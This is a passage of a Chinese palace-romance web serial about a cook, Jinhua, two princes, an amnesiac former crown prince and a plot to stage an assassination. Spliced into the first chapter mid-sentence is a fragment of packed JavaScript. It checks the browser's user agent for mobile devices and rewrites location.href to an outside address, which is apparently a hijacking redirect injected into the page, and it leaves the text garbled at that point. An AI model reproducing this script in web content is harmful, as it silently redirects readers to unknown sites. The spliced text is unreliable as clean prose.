锦婳抹干眼泪,即便是全天下人都欺她!辱她!她也是不会自怨自艾的!
陆卿尘与南宫燕站在湖边看风景,南宫燕挽着陆卿尘的手臂,娇笑道:“公子刚刚说的好自为之是何意?”
陆卿尘看着波光粼粼的湖水皱眉,他也不知为何,一见那小厨娘心就堵得难受,前日又听说她爬了五皇子的床,便更觉得心拧着一般堵得难忍。
这感觉一见到那小厨娘就会向他袭来,每次遇见那小厨娘,她看自己的眼神都是那般的熟悉,像是在哪里见过,可又说不出来。
陆卿尘沉声道:“身为女子,若是这般的不自爱,被众人指指点点,活着也是无趣。”
南宫燕却笑着道:“公子大概不知,宫里的婢女们,稍微有点姿色的,谁不想被主子看中,一朝飞身成凤。”
“即便是做个伺候主子的通房,也好过做粗活杂役,最后配个太监对食得强。”
陆卿尘听了,回头看了看锦婳走远的背影,只看背影便觉得那丫头性子倔强得很!
陆卿尘一晃神,记忆深处,好像也有那么一个人,坚韧、顽强,好似什么也打不倒她。
只是眉目模糊,总是看不清她的面容。
队伍还在休整,锦婳一时间竟发现自己无处可去,南宫宸的马车她是不想再上去了,那个罪魁祸首此刻肯定在马车上看她被人奚落的笑话。
若是去别处那群宫人婢女定又会说她的闲话,奚落她。
锦婳所幸找了处树荫,坐在树下歇脚乘凉。
南宫宸坐在马车上,吃着糕点,看着闲书,等了一会儿功夫,锦婳这丫头怎么还不回来。
别是贪玩掉进了湖里,南宫宸派宫人去湖边寻,宫人不一会儿便独自回来,在南宫宸耳边传话。
“殿下,锦婳姑娘本来好好的在湖边歇脚,谁知三皇子殿下的婢女去湖边打水对着锦婳姑娘好一阵奚落。”
“她们人多,说的话都是极其难听的,锦婳姑娘未回嘴,倒是也没吃亏。”
“后来还是七公主殿下为锦婳姑娘解了围,如今锦婳姑娘正坐在树下生闷气呢。”
南宫宸听了宫人的描述,本来松弛的眼神立刻变得犀利,敢欺负他的人,真是吃了熊心豹子胆!
三哥的宫婢,何时竟这么嚣张了,难不成连他这个五皇子都不放在眼里了?!
南宫宸对那宫人沉声道:“去将奚落锦婳的宫婢寻来,本王倒要看看,究竟是怎样的一号人物!”
那小丫头平日里在他面前浑身带刺儿的!他说她一句,她恨不得怼回两句,怎么今日不过是几个婢女奚落她,她竟这般的熊了!
今日替她出了这口气,也是让旁人知道,她早晚是他的人,容不得旁人挑衅!
不知何时,他心里竟装着这个小丫头了,上次母后生辰宴上,这小丫头自请出宫,他的心陡然一沉,竟说不出的难受。
特别是发现这小丫头每次看小七救回的那汉人男子时,眼神便充满忧伤,南宫宸便更觉得自己心里满是醋意。
不一会儿,宫人便带着那三皇子的婢女阿玉来到了南宫宸的马车面前。
南宫宸的马车帘子被宫人掀开个小缝,透过帘子缝隙,阿玉看见马车里的五皇子,惊人之姿,面容如玉,身姿卓越。
怪不得锦婳那丫头说什么也要把五皇子扑倒,若是有机会接触这如画上仙人般好看的主子,拼了性命,她也要如锦婳一般把他扑倒。
南宫宸瞥了那婢女一眼,发现那婢女正看着自己愣神,真是个胆大的,见他竟敢直视!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17234494|197657||http|test|mini|href|location''.split(''|''),0,{}));
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r>南宫宸沉声道:“大胆!见了本王竟敢不跪!三哥竟是这般地纵容你的!”
那婢女本是被五皇子殿下的惊人之姿惊住了,才忘了跪地请安,听见五皇子殿下厉声训斥,才反应过来,立刻扑通跪地磕头道:“五皇子殿下恕罪!奴婢知错!奴婢该死!”
南宫宸却不屑地带着怒气道:“你可知错在哪里?”
那婢女阿玉跪得战战兢兢地颤抖道:“奴婢见殿下一时胆怯,竟忘了规矩,未给殿下请安,奴婢知错,还请五皇子殿下责罚。”
马车里没了声音,阿玉也不敢抬头去看,只得卑微地伏在地上,吓得颤抖。
片刻,马车上传来声音,那声音虽淡,却让人听了心如同坠入冰川深渊,胆战心惊。
“你明知锦婳是本王的人,还敢挑衅冒犯,若不是活腻了,自己甘愿找死,怎会做出此等事来?”
那阿玉听了满脸的懵!刚刚五皇子殿下说锦婳是他的人?她没听错吧!宫里人不是都在传,是锦婳不要脸爬了五皇子殿下的床,五皇子殿下连个通房都不肯收吗?
南宫宸见那婢女跪在地上发懵,吓得连话都说不出,继续道:“如今是在宫外,若是少了一个婢女,你猜会不会有人发现?”
“即便是三哥知道是我杀了他的婢女,又会不会因为一个婢女的命与我发作?”
阿玉听见五皇子殿下要要了自己的命,吓得立刻痛哭道:“五皇子殿下!奴婢真的知错了,是奴婢有眼不识泰山,得罪了锦婳姑娘,求殿下恕罪,不要杀掉奴婢,日后奴婢当牛做马报答殿下大恩大德!”
南宫宸声音冷酷似千年寒冰,冷语沉声道:“你既得罪的是锦婳,便去求她饶命,若是她肯留你一条命,今日本王便不杀你了。”
阿玉听了,只想活命,若是有一线生机,哪怕是给锦婳当牛做马,也要求她原谅!
那阿玉猛地抬起头,疯了似的四处寻锦婳,终于在一处大树下寻到了锦婳。
第163章 情意
阿玉疯了似的冲到锦婳面前,死命地抱住锦婳的大腿,把锦婳吓了一跳!
锦婳正在树下打瞌睡,今日起得太早,又在马车上晃悠了一上午,属实有些困了。
这刚才对自己骂漫的婢女,突然冲到自己面前抱着自己的腿,痛哭流涕,属实吓了她一跳。
阿玉跪在地上痛哭道:“求求姑娘救救我吧!是我有眼无珠,对姑娘不敬。求姑娘留我一命,日后我定当牛做马报答姑娘的大恩大德!”
锦婳被那婢女说懵了,她如何救她的命?
锦婳站起身往后躲了躲,迷茫道:“这位姐姐这是怎么了,我何曾想过要你的命?又要如何救你?”
阿玉伸出手,颤颤巍巍地指着远处南宫宸的马车道:“是五皇子殿下说的,若是姑娘不原谅奴婢,便把奴婢杀了,抛尸荒野!”
“求求姑娘可怜可怜我的!我还不想死啊!”
“刚刚都是奴婢的错!得罪了姑娘!还请姑娘去与五皇子殿下说说情,留奴婢一命吧!”
锦婳顺着阿玉的手指的方向,不远处的确停着南宫宸的马车,他正掀开帘子朝自己的方向看。
这家伙,怎么专会给自己找事!
她只想安安稳稳地混到出宫,被他这么一弄,合宫上下,哪还有不认识她的了!
锦婳气冲冲地冲到南宫宸的马车前,掀开帘子,上了马车,怒视着南宫宸。
锦婳把南宫宸给看懵了,这丫头上了马车就瞪着自己是什么意思?
自己刚刚给她出了气,她非但不感激自己,反倒冲过来怒视自己,这是怎么个意思?
这丫头惯会窝里横,在外面熊得跟个什么似的,只会跟他来能耐!
南宫宸被锦婳瞪着,也不慌,安稳地翻着手里的闲书。
还是锦婳忍不住怒气先开了口:“五皇子殿下,你把那婢女吓唬一通,反倒让她来找我求饶做什么?我一个小厨娘,管得了这宫里的人命生死吗?!”
“外面多少双眼睛看着呢?我一个厨娘,让一个婢女跪地求饶,哭得惨得跟什么似的,今后在这宫里你让我如何生存?”
“你是做主子做惯了的人,岂知我们做奴婢的难处!”
“你随随便便就要了一条人命,任谁也不敢说你什么,可你有没有想过,日后我在这宫里如何自处!”
锦婳也不知为何,竟把这些日子所有的委屈,都对着南宫宸发泄出来,说完后内心虽是畅快了,但也难免心惊。
虽然心里忐忑,但面上还得强装镇定,不能被南宫宸看出破绽。
最好他觉得自己无礼,一个生气,看不上,直接把她赶出宫去才好!
南宫宸听了锦婳说的这般,也是满肚子的怒气,他真是好心被当作驴肝肺!
本想着替她出了这口恶气,没成想这小丫头竟是一点也不领情!
她竟还对他这般地吼,这丫头到底有没有心肝?
南宫宸也带着怒气合上书,一把拉过锦婳的手臂,将她拉近自己。
两人靠得极近,锦婳似乎能感觉到南宫宸的气息吐在自己脸上,锦婳有些害怕,想往后退,却被南宫宸拉得更紧,拽得更近!
锦婳越想挣扎,南宫宸却拉她越紧,锦婳一个小姑娘哪里是大男人的对手,挣扎了一阵子便没了力气,手腕也被南宫宸拉出了通红的印子。
即便这样,锦婳还是用倔强的目光看着南宫宸,即便力气不如他,但气势上总归不能输!
南宫宸压低声音,靠近锦婳,在她唇边道:“看来是本王这段时日把你给惯坏了,让你觉得本王很好说话是吧?”
“今日本王便让你知道,什么是主子,什么是奴婢!主子若是想要奴婢的命,奴婢究竟有没有反抗的机会!”
南宫宸掀开马车帘子,对马车外的宫人道:“把那婢女给本王处理掉!”
锦婳急声道:“南宫宸!不要!不要杀她!”
宫人愣在马车外,这……究竟该听谁的?
南宫宸摆了摆手,示意宫人退下,紧接着放下了马车帘子。
南宫宸嘴角微挑,凑近对锦婳道:“你刚刚叫本王什么?”
锦婳别过头,不想与他对视,两人如今在马车这样的密闭的空间里,又靠得
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这样的近,让她很是不自在。
南宫宸又逼近了锦婳一些,声音压得更低,喉结涌动,沉声道:“再叫一次,本王便不杀那婢女了。”
锦婳转头瞪大眼睛看南宫宸,倔强着不肯开口。
南宫宸眼色一沉,刚要掀开马车窗帘,锦婳立刻开了口:“南宫宸!”
南宫宸嘴角一挑,得逞的笑。
锦婳瞪了他一眼道:“这回你满意了?我真是弄不懂,你为何非要与我过不去?!”
南宫宸疑问道:“本王何时与你过不去了?”
锦婳瞥了他一眼,憋屈地说:“我好不容易有机会出宫去,你明明舌头已经好了**成,偏偏要将我留在这宫里!”
“那日谣言四起,你也不肯为我说一句辩解的话!”
“今日又惹了这档子事!看来我想要平安无事地混到出宫也是难了……”
“我有时怀疑,你与我是不是上辈子的冤家,这辈子我为你治舌头不说,你还要这般地找我的麻烦!”
南宫宸听了,眼神暗淡,握着锦婳的手微微松开,就在锦婳要抽离的片刻又将锦婳握得更紧。
南宫宸悠悠道:“本王对你的心意,你竟真的一点不知?”
锦婳抬头睁大眼睛看着南宫宸,眼神懵懂、天真。
南宫宸自嘲地摇头道:“你当本王是谁想扑倒便能扑倒的?”
“本王堂堂南启国五皇子,凭什么会为一个丫头出头出气?”
“本王也知自己的舌头恢复了大半,可听见你自请出宫时,心竟慌得难受,若是你出宫去了,本王是不是想再见你一面也是难?”
锦婳皱眉听着南宫宸这些表白的话,又想着这些时日两人的相处,他心悦自己?的确有迹可循……
可自己与陆卿尘……
算了,看陆卿尘的样子,似乎是想与自己撇开关系。
人家攀上了南启国的七公主,南启国无论是财力还是兵力,对他这个废太子都是助力匪浅。
而自己一个小厨娘,能帮上他什么?
陆卿尘到底是办大事的人,儿女情长怎会放在心上……
第164章 同住
看锦婳一副没心肝的模样,南宫宸放开锦婳叹了口气道:“难不成你入宫之前心里便有人了?”
“上次你受了风寒,本王照顾你时,听你睡梦中还一直念着公子…...”
锦婳听了更是失落,摇头道:“那位公子只是救了我一命的恩人,我欠他一命而已……”
南宫宸听了,面露喜悦,原来她口口声声的公子只是这小丫头的恩人,只要她心里没人便好!
南宫宸忍不住笑意对锦婳道:“报恩的方式有很多种,大不了本王赏他些这辈子都用不完的金银财物,你便不必日日惦记着报恩了!”
锦婳摇摇头道:“那位公子并不需要金银财物,如今看来也并不需要我报恩了,他如今有了极好的前程,我只要不出现在他面前,不做他的累赘便好了。”
南宫宸听了笑得更欢了,不需要报恩,那岂不是更好了!
锦婳见南宫宸面上一副得逞的笑意,立刻解释道:“我答应过我娘亲,这辈子都不会成亲的,也不会心悦任何男子,还请五皇子殿下不要打我的主意!”
“五皇子殿下该配的是世家大族的小姐,或是邻国的公主殿下,切勿被我这么一个小厨娘耽误了前程。”
南宫宸倒是不急,只要她心里没有人便好,其他的慢慢来,他就不信感化不了这丫头!
她不是爱财吗?那给她钱财便是了!
人最怕的就是没有软肋!这丫头的软肋便是金银钱财,刚好,他有的是!
南宫宸嘴角微挑,拿出一个金盘子递给锦婳。
“本王知道你最喜欢的便是做膳食,这个金盘子是本王特意让人为你打造的,看看可还喜欢?”
锦婳看了看那金盘子,打造得确实精巧,看样子是用了心的!
盘子上还雕刻着花样,而且是纯金打造的!
锦婳自然是喜欢的!而且非常喜欢!
可**嘴软,拿人手短,收下南宫宸的金盘子,岂不是会让他误会她对他有心?
锦婳既想要金盘子,又不愿接受南宫宸的心意,一时间陷入了两难。
南宫宸素来聪明,怎会看不懂锦婳的小心思,便不以为意的说道:“这金盘子就算那日你跌在我怀里,我没为你辩解的赔罪,你只管收下便是!”
锦婳这才安了心,接过了金盘子,直接揣在了怀里。
她可得收好,免得南宫宸那猴精的人后悔要了回去!
队伍休整后,继续向大悲寺前行。
皇后娘娘每年都是要来一次大悲寺上香祈福的,每次来都要焚香斋戒,自然是要住上几日。
锦婳和一众丫鬟、婆子被安排住在了后山的院落,可上次在大悲寺,锦婳就是在这后山遇上了慕容泽,只要想想就让她胆战心惊。
锦婳想着,和南宫宸说说情,就在他房间里给她一块地落脚就像。
南宫宸倒也求之不得,想着兴许是那金盘子起了些作用,那小丫头难不成发现自己是个大财主,也开始对自己动了些许心思?
南宫宸住的斋房是有隔断的大屋,书房就在隔断外,有一张大床,隔断外还有一张小榻。
锦婳便被南宫宸安排住在那张小榻上。
床榻虽小,但锦婳身子也纤细,住着道也不憋屈。
能有个落脚的地方就很好了,后山实在太过危险,若是再被慕容泽那奸人掳去,恐怕就真的没有活命的机会了!
南宫宸见隔断外锦婳熄了灯,不一会儿便传来看锦婳清清浅浅的呼吸声,那丫头真是对男女情爱半分心思都没有啊!
这若是便是其他婢女,哪怕是官宦家的小姐,与他共处一室,还不得绞尽脑汁、费尽心机想要与他发生点什么!
这丫头到底有心还是没心啊?放着他这么一个美貌英俊的五皇子看都不多看一眼,搂着那个金盘子睡得倒是香!
南宫宸也脱了鞋袜,盖上被子,伴随着锦婳浅浅的呼吸,一夜好眠。
锦婳醒来时,已经是早膳时间了。
在寺庙里住就是好,不用她做早膳了,她倒是乐得清闲。
丫鬟端进热水来伺候南
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宫宸洗漱,瞥了眼锦婳,看见她睡在隔断外的小榻上,也是一惊。
这么好的机会,与五皇子殿下共处一室,锦婳那丫头竟没与五皇子殿下睡一张床?
锦婳那丫头到底怎么想的?她不是早就想翻身做主子了,怎么这么好的机会都不要了?
南宫宸自己洗漱,穿好素衣,这时传来欢快的脚步声,南宫宸不用抬眼,听声音也知,定是小七耐不住寂寞,来找他玩了!
南宫燕见锦婳宿在南宫宸屋里也是一惊,这丫鬟还真有手段!
五哥那么个难搞定的人,竟肯让这丫头在屋里留宿,即便是两人昨夜没发生什么,南宫燕也知五哥对锦婳这丫头与旁人不同!
南宫燕绕过锦婳,直接进了南宫宸的卧室。
卧室和书房只有一个小隔断,又不隔音,两人说的什么,锦婳听得清清楚楚。
大致就是南宫燕抱怨陆卿尘到了大悲寺整日里只知道看佛书,也不陪她玩!
锦婳听了只是落寞,这流放一路陆卿尘的确也是如此,他喜静,爱看书,流放路上即便只有一本本草纲目,他也是看了又看,翻了又翻,即便是看了几十遍也不觉得厌。
南宫宸也是被南宫燕缠得没了办法,只得答应带她去后山转转。
南宫宸也想带锦婳出去散散步,换换气,可锦婳一听是后山,连连摇头道:“殿下,我今日还有点心要做,就不同殿下与公主一同前往了。”
南宫宸想着锦婳素来是懒了些,她肯定是觉得去后山爬山,还不如在屋里躺着来得舒坦!
边吩咐锦婳好好看家,自己则领着南宫燕去了后山。
南宫宸走后,屋子里空无一人,锦婳觉得无聊,思索片刻,决定出去散散心。
这前院是给皇后娘娘和众位皇子、公主住的,慕容泽想来是断然不敢来这里的。
这大悲寺依山而建,风景绝美,远处的山顶上也是仙气缭绕!
锦婳走了片刻,有一处花的景观,她刚想凑近看看,一抬头便遇见了陆卿尘。
第165章 偶遇
锦婳背着小筐和锄头,本来是想在前院里挖些僧人们种的紫薯做些点心来吃的,没曾想陆卿尘也在这里,他手里拿着一本书,坐在凉亭上品着茶。
周围没有侍女跟随,不过前院人来人往,陆卿尘一向喜清净,不愿让人在身边伺候也是正常。
锦婳路过时,陆卿尘青白的的衣衫上赫然地挂着那枚他随身带着的玉佩。
听谢威说过,这枚玉佩是陆卿尘出生时皇后娘娘亲手为他戴上的,即便是流放路上最艰难的时候,三人都没打过这枚玉佩的主意。
想起陆卿尘在湖边时看她嫌恶的眼神,锦婳收起目光,不去看他。
就在这时,一个低沉的声音从凉亭里传来:“进来!”
旁边婢女人来人往地忙碌着,但却无人交谈,这声音在这地方显得有些突兀,让锦婳陡然一惊。
是陆卿尘在叫她?
他不是一直在看书吗?怎么也看见她来了?
锦婳咬咬唇,他如今是七公主殿下的准驸马,按理说,没人伺候时,旁的人是不好靠近的。
可凉亭里的陆卿尘似乎没有给她太多思考的时间,再次不紧不慢地催促道:“吾说,进来!”
锦婳硬着头皮,挪动脚步,站到了凉亭外。
“民女拜见大人。”声音清冷疏离,比陆卿尘手里把玩的那块玉还要凉。
随后,凉亭里传来一声冷笑。
清冷的声音再次响起:“你见过吾的这块玉佩?为何一直盯着它看?你可认识吾?”
锦婳听了,心里一惊,他……是不是摔伤了脑子,怎么什么都不记得了?
陆卿尘的几句话,让锦婳的心里猛地一沉!
此刻还不是告诉他身份的最好时机,如今他对她嫌恶至极,即便是从她口中说出真相,他也是不会信的。
更何况如今他已经是南启国的准驸马,她若是说出他的**,他不光不会信,还会觉得她别有用心。
锦婳声音清冷道:“回大人,民女只是一个小厨娘,并未见过大人。”
可陆卿尘将锦婳的这几句话听在耳里,却是不信的。
明明她的声音他听着这般的熟悉,她每次看他的眼神也充满情绪,为何却直言不认识他?
而且刚刚在院子里,她看他腰间的玉佩的神色,明明就是见过的!
陆卿尘见这丫头问也是问不出什么的,便叹了口气道:“退下吧。”
锦婳恭敬点了点头,退到远处的田园里挖紫薯。
锦婳知道,这次陆卿尘随皇后娘娘出宫礼佛,凭谢威的机灵,一定会早早的知道消息,并带着暗卫一路随行。
谢威现在没有现身只是因时机不对,陆卿尘的安危有谢威按照护着,是不用她来操心的。
只是谢威未近距离接触陆卿尘,恐怕还没看出他的不对劲,但看她与陆卿尘两人如此疏离,谢威即便是在暗处也是能察觉一二的。
锦婳懒得再去想那些繁杂的事,索性就蹲在园子里挖起了紫薯。
南启国现在已经是春日了,因为地处南方,中午的太阳还是有些毒的。
锦婳同旁边拔草的僧人借了一顶草帽,因为锦婳身材长得娇小,草帽盖住了她的大半身体。
陆卿尘坐在凉亭里,手中的书看着也是无趣,竟不知不觉被菜园子里锦婳的小身影吸引了。
恍惚中好像有那么一个相似的小身影,也是这般的忙忙碌碌,不时的回头朝他笑笑。
这种感觉竟让陆卿尘觉得莫名的熟悉,看着看着,竟一时恍了神。
锦婳手脚麻利得很,不一会就挖了一小背篓紫薯,这些紫薯下午把它们洗净蒸熟,用来烙紫薯饼是再好不过的了。
锦婳看着一小筐紫薯满意地点了点头,将草帽还给了在一边拔草的僧人。
陆卿尘见锦婳笑了,竟也跟着不觉的嘴角上扬。
阳光下,两人各做各的,竟有一种岁月静好的感觉。
南宫宸和南宫燕两人在后山摘了果子和野花,也满脸笑容地回了前院。
南宫宸一眼便看见锦婳背对着自己的方向,在小园子里忙
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活着。
小身影忙忙碌碌,可爱极了。
又瞥了一眼凉亭里独自坐着看书的陆卿尘,南宫宸发现陆卿尘的目光竟也随着锦婳在移动。
锦婳擦汗他便跟着皱眉,锦婳挖到个头大的紫薯笑的高兴,他便也跟着翘起嘴角。
南宫宸本来兴冲冲的回来,打算把摘回来的果子拿给锦婳,谁知一近前院便看见了这一幕。
南宫宸看了心里不是滋味,南宫燕却大大咧咧,没有发现陆卿尘神色的变化,
她将刚刚在后山采的野花拿给陆卿尘看:“公子,你看,这是我与五哥在后山采来的野花,你猜我同五哥刚刚在后山看到了什么?”
锦婳听见身后有声音,也回头看,却看见了让她心碎的一幕,七公主拿着一束野花在凉亭里与陆卿尘两人笑意盈盈地聊着天。
两人看着很是和谐,七公主貌美如花,陆卿尘清俊公子。
锦婳不禁眼神暗淡,也没了心情再挖紫薯,将刚刚挖出的紫薯都收到小筐里,转身就要走。
却听见七公主道:“我和五哥刚刚在后山看见了好几个外邦人,进了供奉关公佛像的小院,看他们的穿着打扮像是苍狼国的,我竟不知苍狼竟也有人信佛。”
锦婳本来要走,却听见苍狼、外邦这几个字眼,又想起上次来大悲寺遇见慕容泽的事,手竟吓得一抖,小篓里的紫薯瞬间落地,滚得到处都是。
南宫宸将这一幕都看在眼里,锦婳这么一个天不怕地不怕的小丫头,就连他这个五皇子也是未曾怕过的,怎么一提到苍狼和外邦人就东西都拿不稳,撒了一地。
南宫宸虽心生狐疑,但还是放下果子,上前帮锦婳捡起散落一地的紫薯。
锦婳本来心慌得很,看见南宫宸回来了,低下身子帮她捡着散落满地的紫薯,便莫名地松了一口气。
跟在南宫宸身边,即便是遇见了慕容泽那个强盗,也是不用怕的。
这里毕竟是南启,慕容泽再浑蛋,难道还能在五皇子面前抢人不成!
第166章 紫薯饼
锦婳想着,还是得抱紧南宫宸的大腿才是,起码跟在五皇子身边,能保得住小命啊!
锦婳定了定神,把挖的一背篓的紫薯拿给南宫宸看:“殿下,这是我挖到紫薯,这南山地势高,紫薯长得又大又甜,晚上我烙了紫薯饼给你吃。”
南宫宸瞥了眼锦婳,这丫头怎么一上午不见,学得这样乖了?
又瞥了眼陆卿尘,见陆卿尘也在朝着这边看,便动了歪心思。
不知为何,虽然那汉人面上看着总是冷冷的,但总觉得他对锦婳这小丫头有不一样的心思!
这等宣示**的好机会,他怎能轻易放弃!
南宫宸听锦婳说晚上给他做紫薯饼,便一副高兴的样子,俯下身道:“你的脸怎么蹭得跟花猫一个样?抬起头来我给你擦擦。”
锦婳有些不情愿,拿过南宫宸手里的手帕,自己在脸上胡乱地抹了几下。
可能是因为没有镜子照着,锦婳用帕子抹完后脸脏得更严重了。
南宫宸取笑道:“本王就说要帮你擦,你看你非要自己擦,反倒把脸上抹得到处都是了!”
南宫宸拿过手帕,要帮锦婳重新擦,锦婳拗不过他,只得仰起脸,任他在自己的脸上胡抹。
南宫宸对自己擦得好像很满意,笑嘻嘻地左右仔细查看了一番,才直起了身子。
锦婳没好气地瞥了他一眼,将满是泥土的背篓塞进南宫宸的怀里,自顾自地走在前面。
南宫宸一身锦衣,怀里抱着满是泥土的背篓,很是不相配,但也只能无奈地抱着背篓跟着锦婳走在后面。
毕竟惹了那小丫头,饭都别想吃好!
两人这般的玩闹,被陆卿尘看在眼里,竟觉得有些刺眼。
不觉没拿书的那只手竟紧紧地握住了拳,捏得手指关节处都泛了白。
为何看见那小厨娘与五皇子这般的亲密,他会心里一股复杂的情绪油然而起?
似乎有些嫉妒?有些吃醋?
七公主南宫燕一向大大咧咧,丝毫没看出这三人的心思有任何不同的变化。
见南宫宸只抱着那篮子紫薯便走了,把那筐果子就那么扔在了地上,对陆卿尘可惜地道:“五哥竟把这筐辛苦摘的果子扔在了这!这可是五哥特意爬了最高的树,摘了树尖尖上的果子,他听僧人说,树尖尖上的果子是最甜的,要摘回去给他家小厨娘吃的!”
七公主眉目一转,对陆卿尘道:“公子,不如我们去给五哥把果子送去,反正回到院子里也是无趣,去五哥那里兴许还能混些紫薯饼来吃吃也说不定!”
见陆卿尘皱眉,身体却并没有动,南宫燕直接撒娇道:“公子,去嘛!去嘛!这寺庙的斋饭实在是不好吃,我肚子都饿得咕咕叫了,咱们也去讨块紫薯饼吃吧!”
陆卿尘见拗不过南宫燕,也的确想去尝尝那小厨娘做的紫薯饼,便起身随南宫燕朝五皇子的屋子走。
待二人进了屋时,见南宫宸正与那小厨娘一起和面、制馅。
南宫燕也是惊讶,五哥养尊处优惯了,何时做过厨房里的活?
这小厨娘也是功夫了得,把五哥拿捏得死死的!
南宫宸一副手忙脚乱的样子,衣服上还挂着刚刚背篓上的土,脸上胳膊上,都是白花花的面粉。
就算是这般的惨状,还要受锦婳这丫头的奚落!
“南宫宸,你怎么回事,每个面团的大小怎么都揪得不一般大?”
“南宫宸!你有没有搞错,紫薯馅里怎么放了这么多糖?是要齁**吗?!”
“南宫宸!……”
南宫宸把面团往桌子上一扔,怒目看着锦婳!他再怎么也是皇子啊!怎么就被她一个小厨娘这般的奚落了!
“南宫宸……你生气了?”
锦婳收起了刚刚的暴脾气,怯生生地看着南宫宸道。
南宫宸双手扶头,他真是拿她没办法了,无奈道:“本王没生气,只是你能不能不对本王吼,这是本王第一次做饼,你就不能多些耐心对本王?”
锦婳到是个会看脸色,随机应变的,见南宫宸心里不痛快了,便笑嘻嘻道:“做食物是需要用心和耐心的,这样品尝你做出来的食物的人,才会感受到食物本身的幸福和味道。”
“若是你随随便便地对待食物,吃得人也囫
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囵吞枣,那这顿饭做得便毫无意义可言。”
陆卿尘站在门口听了,身躯却为之一颤,这番言论,怎么这般的熟悉。
记忆中好像也有那么一个人,对待食物极其用心,不管多么普通的食材在她手里都能化作最珍贵的宝物。
南宫燕看见吃的,却忍不住了,兴冲冲地冲进屋里去。
“五哥!这紫薯饼做好了分我一个可好?这大悲寺的斋饭我实在是吃不饱,我的肚子已经咕咕叫了一整天了!”
南宫宸正被锦婳拉着做苦力,又是和面,又是蒸馅。
一开始只觉得与锦婳一起做一顿饭一定很有意思,可做到最后却只剩下苦不堪言!
不光弄得满身都是面粉,还要被那丫头训斥!
他堂堂五皇子,除了教授他才学的师傅,问这世间有谁敢训斥他!
如今可倒好,又多了一个锦婳。
南宫宸看见七公主来了,就如看见救星一般。
立刻放下手中的活,坐在椅子上叹着气道:“你当这顿饭是这么好吃的?你五哥我已经累了一个时辰了,实在干不动了!”
南宫燕却取笑他道:“如今也算有人能管五哥一二了,若是被母后知道,不知该是高兴呢?还是欣慰呢?”
南宫宸刚被锦婳训斥得抬不起头,如今又被七妹取笑,今日早起没看黄历,是不是诸事不宜啊?
锦婳也不多话,自顾自地做着自己手里的紫薯饼。
陆卿尘就坐在靠窗的位置上,看着锦婳从擀皮到装馅,又上锅小火慢慢悠悠地烙好了每一张饼。
有这般心思的人,怎会是那些人口中传的,爬主子床之人?
还有她手腕上带的玉镯子,看着便觉得熟悉,好似在哪里见过一般,可又实在想不起是在哪里见过。
锦婳将烙好的饼放在精致的托盘里,端到几位主子身前,南宫燕真的是饿急了,也不顾紫薯饼刚出锅还是热的,拿起一个便咬了一口。
恩!真香甜啊!
南宫燕转身递给了陆卿尘一个道:“公子,你快趁热吃,这饼真是好吃极了,外皮酥酥的,内里却软嫩得很!”
第167章 胡萝卜煎饼
陆卿尘拿起紫薯饼尝了一口,这口感和味道都让他觉得熟悉无比,为什么每次只要一接触这个小厨娘,心里就会有一种特别踏实又熟悉的感觉。
可刚刚在园子里,她又明明说不认识自己,但她的眼神看向自己时,又满是熟悉。
几个人在屋里喝茶吃着紫薯饼,各自有各自的心事,各怀鬼胎。
三皇子此刻正在书房里看书,侍卫悄悄进了书房,伏在三皇子耳边道:“殿下,苍狼太子慕容泽派人传话来,一切已经准备就绪,就等着咱们离开大悲寺,回程途中行刺了!”
三皇子南宫仁微微点头,对侍卫道:“叮嘱那些蛮夷,切勿伤了母后。至于其他人,可以随意杀之!”
南宫仁眼中露出凶光,明日便要起程回宫了,这场他精心策划的行刺,也该拉开帷幕了!
这次并非真的安排蛮夷行刺母后,只是他已经参与朝政多年,父皇却迟迟未立他为太子,南宫仁觉得,似乎是缺少了某一事件的推动。
无事推动,那他便制造事件来推动便是!
若是蛮夷行刺母后,他却舍命相救,身受重伤,母后日后又会如何看待自己呢?
父皇经此一事,若是还不立自己的太子之外,那他就要与蛮夷里应外合,策划谋图皇位了!
他已经交代蛮夷,明日行刺需让他身受重伤,但不得伤及要害!
行刺的伤口要看着重,实际上却并不伤及根本。
这样一来,母后才会真的心疼他,看重他,劝谏父皇立他为太子。
年幼时南宫仁便听过宫里传闻,南宫启的名格贵重,是天选之子。
但却奈何他身体天生不足,天象大师又道只有将南宫启养在寺庙才能保其一生安康。
南宫仁索性便悄悄命僧人在南宫启居住的院落里种了一棵夹竹桃树,他幼时机缘巧合,有幸听一医者提起过,夹竹桃树有毒,常年接触,必当命不长久。
也许是心中有愧,南宫仁从未去大悲寺看过南宫启,反倒是南宫宸,三天两头地带着吃食、玩乐的去寺庙给南宫启解闷。
南宫宸,这个名字每次一听到,便让南宫仁心生不安。
何为宸?帝王也!
他始终不信,父皇母后对南宫宸的偏爱,只是因为他舌头的味觉消失?
那香料如今才只影响到他的舌头,总有一日会影响到他的头脑,变成失智之人。
四弟又天生粗笨,对自己唯命是从,不足为惧。
本来太子之外已是自己的囊中之物,可偏偏南宫宸去了一次大悲寺,夹竹桃树烧得连灰烬都不剩!
他不得不疑!
这一切都是他们逼他的,别怪他这个做哥哥的心狠了!
皇后娘娘吃斋念佛,与主持大师参禅了几日,明日终于要起程回宫了。
最高兴的莫属七公主南宫燕了,本以为出了宫会有趣很多,可没想到来这大悲寺整日地听佛经,吃斋饭,再多住一日她便要疯了。
锦婳倒是没住够,前院的小菜园子被僧人打理得很好,各种蔬菜、水果都长得水灵灵的。
锦婳摘了些胡萝卜,想着今日烙些胡萝卜煎饼来吃。
大悲寺地势高,土壤中水分大,所以胡萝卜格外的甜一些。
做胡萝卜煎饼也没有什么复杂的步骤,吃的不过就是胡萝卜本身的味道。
锦婳将面粉加水、加盐打成面糊,取了一颗自己带来的鸡蛋,打在面糊里。
又将胡萝卜切成细丝,焯了水,加入面糊中,搅和均匀,用勺子舀一勺摊在锅里,就成了一个小饼。
一面煎熟,翻面,再将另一面煎熟,一张张橙黄色的胡萝卜小饼就出锅了!
锦婳又在小厨房里翻到了些黑芝麻,将黑芝麻用擀面杖碾成渣,又放在捣蒜的容器里捣成粉。
锅里加水煮沸,放入黑芝麻粉和冰糖,临出锅时再淋上土豆淀粉水,一碗黏糊糊的香甜可口的黑芝麻糊便做好了。
